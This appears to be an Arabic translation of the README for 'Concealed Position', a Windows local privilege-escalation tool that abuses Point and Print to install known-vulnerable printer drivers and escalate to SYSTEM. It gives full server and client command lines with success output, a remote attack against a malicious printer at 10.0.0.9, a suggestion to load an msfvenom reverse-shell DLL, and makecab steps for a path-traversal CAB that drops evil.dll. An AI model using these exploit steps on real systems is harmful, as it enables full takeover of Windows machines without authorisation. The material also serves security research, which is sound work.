
أداة تصعيد صلاحيات عبر برنامج تشغيل الطابعة الخاص بك
موضع مخفي هو هجوم تصعيد الصلاحيات المحلي ضد ويندوز باستخدام مفهوم "اجلب ثغرةك الخاصة". على وجه التحديد، يستخدم موضع مخفي (CP) منطق النقاط والطباعة كما هو مصمم في ويندوز الذي يسمح لمستخدم ذي صلاحية منخفضة بمرحلة وتثبيت برامج تشغيل الطابعات. يقوم CP بتثبيت برامج تشغيل بها ثغرات معروفة ثم يتم استغلالها للتصعيد إلى SYSTEM. تم عرض موضع مخفي لأول مرة في DEF CON 29.
يقدم موضع مخفي أربعة ثغرات - جميعها بأسماء غبية بنفس القدر:
الثغرات جميلة لأنه، باستثناء SLASHINGDAMAGE، ستستمر في العمل حتى بعد تصحيح المشكلات. الآلية الوحيدة التي يمتلكها ويندوز لمنع المستخدمين من استخدام برامج تشغيل قديمة هي إلغاء شهادة برنامج التشغيل - وهو شيء لم يتم فعله تاريخياً (؟).
على الأرجح ACIDDAMAGE. RADIANTDAMAGE و POISONDAMAGE هما سباق (للكتابة فوق DLL) و SLASHINGDAMAGE، من المأمول، قد تم تصحيحها في كل مكان.
يتكون موضع مخفي من جزأين. طابعة خبيثة وعميل. يتصل العميل بالخادم، ويسحب برنامج تشغيل، ويخزن برنامج التشغيل في مخزن برامج التشغيل، ويُثبت الطابعة، ويستغل عملية التثبيت. سهل! في لغة MSAPI، يبدو الهجوم كالتالي:
الخطوة 1: مرحلة برنامج التشغيل في مخزن برامج التشغيل
العميل إلى الخادم: GetPrinterDriver
الخادم إلى العميل: الاستجابة مع برنامج التشغيل
المرحلة 2: تثبيت برنامج التشغيل من مخزن برامج التشغيل
العميل: InstallPrinterDriverFromPackage
المرحلة 3: إضافة طابعة محلية (مرحلة الاستغلال)
العميل: إضافة طابعة
من المهم ملاحظة أن SLASHINGDAMAGE لا يعمل بهذه الطريقة في الواقع. SLASHINGDAMAGE هو تطبيق لهجوم الطابعة الخبيثة الموصوف في DEFCON 28 (2020) وتم تصحيحه منذ فترة طويلة. لكني أستمتع بهذا الهجوم (لقد أثار بقية هذا التطوير) وقررت أن أترك الثغرة في خادمي الخبيث... على الرغم من أن ذلك قد يكون مربكًا.
يمكن القول، نعم. مخزن برامج التشغيل هو "مجموعة موثوقة من ... حزم برامج تشغيل تابعة لجهات خارجية" والتي تتطلب وصول المسؤول لتعديلها. باستخدام GetPrinterDriver يمكن لمهاجم منخفض الصلاحية مرحلة برامج تشغيل عشوائية في المخزن. هذا، بالنسبة لي، يتجاوز حدوداً أمنية واضحة.
يبدو أن مايكروسوفت وافقت عندما أصدرت CVE-2021-34481.
على الرغم من... أنه يمكن القول أن هذه مجرد ميزة للنظام وليست ثغرة على الإطلاق. لا يهم كثيرًا حقًا. يمكن للمهاجم التصعيد إلى SYSTEM على تثبيتات ويندوز العادية.
على الأقل ويندوز 8.1 وما فوق.
بسيط! بسيط جدًا لدرجة أنه سيكون هناك العديد من الفقرات لوصفها!
أولاً، دعنا نلقي نظرة على خيارات سطر الأوامر لـ cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| خادم!
خيارات سطر الأوامر:
-h, --help عرض رسالة المساعدة
-e, --exploit arg الثغرة المراد استخدامها
-c, --cabs arg (=.\cab_files) مسار ملفات الكابينة
الثغرات المتاحة:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
أعلاه يمكنك رؤية أن الخادم يتطلب خيارين:
على سبيل المثال، لنفترض أننا نريد تكوين طابعة خبيثة تقدم برنامج تشغيل ACIDDAMAGE. فقط افعل هذا:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| خادم!
[+] إنشاء مساحة مؤقتة...
[+] توسيع .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] الدفع إلى مخزن برامج التشغيل
[+] تنظيف المساحة المؤقتة
[+] تثبيت برنامج تشغيل الطباعة
[+] تم تثبيت برنامج التشغيل!
[+] تثبيت طابعة مشتركة
[+] تم تثبيت الطابعة المشتركة!
[+] انتهت الأتمتة.
[!] خطوات يدوية هامة!
[0] في إعدادات المشاركة المتقدمة، قم بإيقاف تشغيل "المشاركة المحمية بكلمة مرور".
[1] جاهز للانطلاق!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
وهذا كل شيء، سترى طابعة جديدة على نظامك:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
لاحظ أن هناك خطوة يدوية واحدة يطلب منك cp_server القيام بها. لأنني مخترق مبتدئ، لم أستطع معرفة كيفية تعيين "إعدادات المشاركة المتقدمة" -> "إيقاف تشغيل المشاركة المحمية بكلمة مرور" برمجياً. سيكون عليك القيام بذلك بنفسك!
عملية استخدام SLASHINGDAMAGE مختلفة قليلاً. ستحتاج أولاً إلى تثبيت CutePDF Writer (ابحث عن المثبتات في دليل الطرف الثالث). ثم قم بتشغيل cp_server و بعد ذلك لا تزال بحاجة إلى اتباع بضع خطوات يدوية وإعادة التشغيل.
العميل سهل الاستخدام بالمثل. دعنا نلقي نظرة على خيارات سطر الأوامر الخاصة به:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| عميل!
خيارات سطر الأوامر:
-h, --help عرض رسالة المساعدة
-r, --rhost arg عنوان الطابعة الخبيثة البعيد
-n, --name arg اسم الطابعة الخبيثة البعيد
-e, --exploit arg الثغرة المراد استخدامها
-l, --local لا طابعة بعيدة. هجوم محلي فقط.
-d, --dll arg مسار DLL المقدم من المستخدم لتنفيذه.
الثغرات المتاحة:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
أولاً، أود التطرق إلى خيار --dll. العميل لديه حمولة مضمنة تقوم ببساطة بكتابة ملف C:\result.txt. ومع ذلك، يمكن للمستخدمين تقديم DLL الخاص بهم عبر هذا الخيار. مثال جيد لشيء قد ترغب في استخدامه هو شل عكسي x64 منتج بواسطة msfvenom. لكن لبقية هذا سنفترض فقط الحمولة المضمنة.
cp_client له وضعان: بعيد ومحلي. الخيار البعيد هو الأكثر إثارة للاهتمام لأنه يضيف برنامج التشغيل الضعيف إلى مخزن برامج التشغيل (وبالتالي تنفيذ ثغرة إحضار برنامج تشغيل الطباعة الخاص بك)، لذا سنبدأ بذلك أولاً. لنفترض أنني أريد الاتصال مرة أخرى بالطابعة الخبيثة ACIDDAMAGE التي قمنا بتكوينها سابقًا. أحتاج فقط إلى تقديم:
مثل هذا!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| عميل!
[+] التحقق مما إذا كان برنامج التشغيل مثبتًا بالفعل
[-] برنامج التشغيل غير متوفر.
[+] رد الاتصال بالطابعة الخبيثة @ \\10.0.0.9\ACIDDAMAGE
[+] مرحلة برنامج التشغيل في مخزن برامج التشغيل
[+] تثبيت برنامج التشغيل المُمرحل
[+] تم تثبيت برنامج التشغيل!
[+] بدء AcidDamage
[+] التحقق من وجود C:\ProgramData\Lexmark Universal v2\
[-] الدليل الهدف غير موجود. تشغيل التثبيت.
[+] تثبيت الطابعة
[+] قراءة C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] البحث في محتويات الملف
[+] تحديث محتويات الملف
[+] إسقاط gpl المحدثة
[+] إسقاط Dll.dll على القرص
[+] مرحلة dll في c:\tmp
[+] تثبيت الطابعة
[!] نجاح كبير!
هذا كل شيء! لتنفيذ هجوم محلي فقط، تحتاج فقط إلى تقديم الثغرة:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| عميل!
[+] التحقق مما إذا كان برنامج التشغيل مثبتًا بالفعل
[+] تم تثبيت برنامج التشغيل!
[+] بدء AcidDamage
[+] التحقق من وجود C:\ProgramData\Lexmark Universal v2\
[-] الدليل الهدف غير موجود. تشغيل التثبيت.
[+] تثبيت الطابعة
[+] قراءة C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] البحث في محتويات الملف
[+] تحديث محتويات الملف
[+] إسقاط gpl المحدثة
[+] إسقاط Dll.dll على القرص
[+] مرحلة dll في c:\tmp
[+] تثبيت الطابعة
[!] نجاح كبير!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE لا يحتاج إلى عميل خاص للاستغلال. يمكنك فقط استخدام واجهة المستخدم أو سطر الأوامر للاتصال بالطابعة البعيدة وهذا كل شيء! لسوء الحظ، إذا كنت ترغب في تصميم حمولة مخصصة، فستحتاج إلى تحديث CAB في دليل cab_files. لكن هذا سهل. شيء مثل هذا:
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
من المهم على الأرجح معرفة أن إصدار SLASHINGDAMAGE في المستودع يُسقط ualapi.dll في SYSTEM32 وعند تنفيذه عند إعادة التشغيل، يُسقط ملف C:\result.txt.
هل تريد تقديم طلب سحب أو الإبلاغ عن خطأ؟ عظيم! أنا أقدر ذلك، ولكن إذا لم تقدم تفاصيل كافية لإعادة إنتاج خطأ أو شرح سبب قبول طلب السحب، فهناك فرصة 100% أنني سأغلق مشكلتك دون تعليق. أنا أقدرك، لكنني أيضًا مشغول جدًا.
شيء واحد يجب ملاحظته هو أن DLL inject_me مضمنة فعليًا في cp_client كمصفوفة C. إذا قمت بتحديث inject_me، فستحتاج إلى تحديث مصفوفة C يدويًا أيضًا (فقط استخدم xxd لإنشاء المصفوفة).